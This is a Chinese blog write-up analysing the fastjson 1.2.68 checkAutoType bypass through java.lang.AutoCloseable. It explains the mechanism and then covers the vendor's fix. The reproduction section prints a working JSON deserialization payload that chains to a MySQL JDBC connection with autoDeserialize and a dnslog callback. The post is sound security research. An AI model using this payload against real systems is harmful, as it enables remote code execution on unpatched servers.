去年写的文章,没发出来,给公众号增加点内容,也留点笔记
写在前面
自2017年3月15日 fastjson 1.2.24版本被爆出反序列化漏洞以来,其就成为了安全人员中的重 点研究对象,即使后来 fastjson 为了安全设置了checkAutoType 防御机制,也依旧没能完全杜 绝新的漏洞产生,结合今日BlackHat 大会上玄武实验室的《How i use json deserialization》 议题,来看看这个漏洞。
Fastjson的两个机制
fastjson中产生漏洞的根本原因在于其 autoType 机制,以及针对于 autoType 机制做的 checkAutoType 检测防御机制,先来具体看看这两个机制。
Autotype
首先来谈谈为什么要有autotype这个机制
功能来源于需求,这是在开发过程中的准则之一,没有人会去做一个没有需求的功能,在fastjson中亦是如此。
当我们使用fastjson中的JSON.parseObject(jsonstr, xxx.class)方法的时候,如果xxx是一个抽象 类或接口,那么我们得到的结果会是NULL,也就是说我们没有办法去指定一个抽象类或接 口,只能根据json字符串中的实现类的信息去帮助开发者解析成对应的实现类。问题出现, 那么需求就来了,如何实现fasjton对多态的支持?是的,fastjson给了我们答案——autotype 机制。
在fastjson中,当要将具体的实现类解析为json字符串的同时,开发者可以为其指定 SerializerFeature,然后通过添加 SerializerFeature.WriteClassName 的方式,使得在生成的 json字符串中,添加序列化信息(写入类型信息)。
举个例子:
如果现在有一个抽象类为 abstractClass_A,有一个实现类为class_B,当开发者要将class_B要 解析成为json字符串的时候,就可以添加 SerializerFeature,如下所示:
可以看到,此时解析成功的json字符串内容如下:
{ "@type":"testAutoType$class_B", "str":"panda"}
会自动携带一个 @type 的属性,这个属性指定了序列化的类
之后当开发者想要直接使用抽象类A,就可以通过反序列化解析字符串,从而得到具体的实现类
checkAutoType
checkAutoType是 FastJson 在 1.2.25 以及之后的版本中,为了防止 autoType 这一机制带来的 安全隐患,增加的检测防御机制,这是一个对于 @type 属性进行白名单+黑名单的限制机制
早期版本的checkAutoType存在一些比较低级的绕过方法,如加上L开头;结尾、双写LL绕过 等,直到1.2.48版本后,checkAutoType 变得成熟,黑名单也逐渐完善
其具体逻辑,可以用《How i use json deserialization》议题的一张图片概括:
checkAutoType首先会对传入的typeName进行3项检测:
- 是否是白名单中的类
- 是否在反序列化cache中(在mappings列表)
- 类有JSONType注解(如:fastjson.annotation.JSONType)
如果满足以上条件,那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache
如果没有满足其中的一个条件,那么会进入另一个判断:
- 传入的typeName是否在黑名单中
- 是否继承自RowSet、DataSource、ClassLoader等类
如果满足上述条件之一,那么直接抛出错误 如果都不满足,那么会进行如下判断:
- expectClass不为NULL、Object、Serializable、Closeable等类型
- 传入的typeName类继承于expctClass
如果满足以上条件,那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache
如果不满足,那么会经过autoTypeSupport的判断,autoTypeSupport主要用来打开autotype功能,默认情况下是false,抛出错误,如果设置的是True那么会return出去继续执行反序列化流 程并且将未载入cache的类载入cache
漏洞分析
实际上经过上面的分析,我们直到如果想要通过checkAutoType的检验,有以下几种方法:
- 传入的类在白名单中
- 开启了autotype(autoTypeSupport is true)
- 使用了JSONType注解(如:fastjson.annotation.JSONType)
- 某些期望类 (继承于expectClass)
- 要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类)
对于第一、第二个方式我们可以不用考虑,因为白名单的类一般都是安全类、autotype默认 是false,第三个也不用考虑,这个是开发者才可以用于指定的,因此如果想要绕过 checkAutoType 机制,只有以下两条路可以走:
- 要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类)
- 某些期望类 (继承于expectClass)
首先来看看第一条路
fastjson的cache,也就是TypeUtils.mappings列表,实际上在 fastjson.util.TypeUtils#addBaseClassMappings() 中被初始化
可以看到,其会将一些基本类型的类预加载到TypeUtils.mappings列表,并且这些在 TypeUtils.mappings列表中的基础类都有着自己的反序列化器(Deserializer):
所以除非能够通过某种方式将cache加入到mapping中,否则这种方式是没有办法利用的,而 “通过某种方式将cache加入到mapping中”实际上已经出现过利用方式类——在1.2.47版本中 由于cache值默认为ture导致绕过了checkAutoType的检测
那么这条路实际上很难实现(不说断绝的原因是或许有未知的一些机制或方法能够将目标类 加载到cache mapping中)
所以,来看看第二条路
checkAutoType(String typeName, Class<?> expectClass, int features)
所谓的期望类(expectClass)指的就是符合checkAutoType中的第二个参数的类
那么有哪些类继承类期望类呢?上文中也提到了,必须要满足:
if (expectClass == null) {
expectClassFlag = false;
} else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
expectClassFlag = true;
}else{
expectClassFlag = false;
}
此外,继承的期望类还不能在黑名单里
首先来看看期望类有哪些:
https://github.com/alibaba/fastjson/blob/3b370ac07cef990eb0a
10eeeb6388b2b91feada8/src/main/java/com/alibaba/fastjson/util/TypeUtils.java
然后看看fastjson的黑名单
https://github.com/LeadroyaL/fastjson-blacklist
在fastjson 1.2.68及以前的黑名单里,虽然包括了大部分常用的父接口和父类,但唯独少了 java.lang.AutoCloseabl和java.util.BitSet
所以就有了以下流程:
所以实际上找到一个typeName满足以下条件就可以绕过checkAutoType的检测:
- 继承于java.lang.AutoCloseabl或java.util.BitSet
- 不在fastjson的黑名单类中
- 其父类和父类接口不在黑名单中
最后一个限制导致我们不能直接利用fastjson去实现RCE的目的,因为我们常常用来搭载命令 执行的类通常继承于ClassLoader、DataSource、RowSet 类,这些类都在黑名单中
所以我们找的typeName又多了新的条件:
能够导致RCE、SSRF或者文件读写的类
《How i use json deserialization》议题中给出了一些方向: 继承于 java.lang.AutoCloseable 的类能够导致的漏洞:
- Mysql RCE
- Apache commons io read and write files
- Jetty SSRF
- Apachexbean-reflectRCE
- ......
议题里作者还给了一些payload和具体的链,这里的漏洞复现我们以 Mysql RCE为例
漏洞复现
首先打开faker mysql
然后运行以下代码:
import com.alibaba.fastjson.JSON;
public class poc {
public static void main(String[] args) {
String serializedStr = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3306,\"ur l\":\"jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"databaseT oConnectTo\":\"test\",\"info\": {\"@type\":\"java.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"yso_URLDNS_http://apwaty.dnslog.cn\",\"PORT.1\":\ "3306\",\"HOST.1\":\"127.0.0.1\",\"NUM_HOSTS\":\"1\",\"HOST\":\"127.0.0.1\",\"DBNAME\":\"test\"}}";
Object obj1 = JSON.parse(serializedStr);
}
}
即可完成反序列化攻击:
漏洞修复
修复方式简单粗暴,将java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable加 入了黑名单
并且从这个版本(1.2.68)开始,Fastjson 引入了safeMode功能,safeMode可以用来控制关 闭反序列化功能,开启后禁止反序列化,并且会直接抛出异常,彻底解决了反序列化造成的问题。
总结
这个漏洞的挖掘思路可以用两个字总结——细心
漏洞的作者梳理了checkAutoType绕过的条件,然后根据情况一条一条判断达到这个条件的可能性
对于黑名单和expectClass类的列表进行了自动化的分析,然后找到了黑名单中没有的类,并且可以利用该类的继承类达到RCE的效果
作者对“继承”概念的定义和细化非常值得学习,此外其自动化的分析方式也是我们在安全研究中必须要掌握的技能之一,这能使得我们的研究事半功倍 此外,我也在考虑一个问题,为什么在出现漏洞如此频繁的功能上,fastjson不考虑“切割”掉autotype机制呢?
fastjson官方github仓库的issus区,有一个讨论可以解答这个问题 :
https://github.com/alibaba/fastjson/issues/3218
个人观点:被市场抛弃的原因往往不是漏洞的产生,而是需求没被满足或者满足不了需求